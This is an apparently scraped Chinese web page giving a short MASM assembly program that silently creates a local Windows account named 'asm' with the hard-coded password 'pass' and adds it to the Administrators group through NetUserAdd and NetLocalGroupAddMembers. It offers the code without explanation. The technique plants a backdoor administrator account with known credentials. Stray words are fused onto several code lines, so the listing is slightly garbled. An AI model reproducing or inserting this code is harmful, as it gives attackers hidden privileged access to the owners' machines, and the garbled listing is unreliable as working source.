添加用戶的彙編代碼

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;code by asm http://www.asm32.cn/ ;2007-9-29 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .386 .model flat, stdcall option casemap :none ; case sensitive ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 數據 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include user32.inc include kernel32.inc include Netapi32.incwindows

includelib    user32.lib
includelib    kernel32.lib
includelib    Netapi32.lib

.data? oUserInfo USER_INFO_1<?> oUser LOCALGROUP_MEMBERS_INFO_3 <?> dwErr DWORD ? .data szUser dw "a","s","m",0 szPass dw "p","a","s","s",0 szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0 .code start: invoke RtlZeroMemory,addr oUserInfo,sizeof oUserInfo push offset szUser pop oUserInfo.usri1_name push offset szPass pop oUserInfo.usri1_password mov oUserInfo.usri1_priv,USER_PRIV_USER mov oUserInfo.usri1_flags,UF_NORMAL_ACCOUNT invoke NetUserAdd,NULL, 1,addr oUserInfo,addr dwErr push oUserInfo.usri1_name pop oUser.lgrmi3_domainandname invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr oUser,1 invoke ExitProcess,0api

end startdom

相關文章
相關標籤/搜索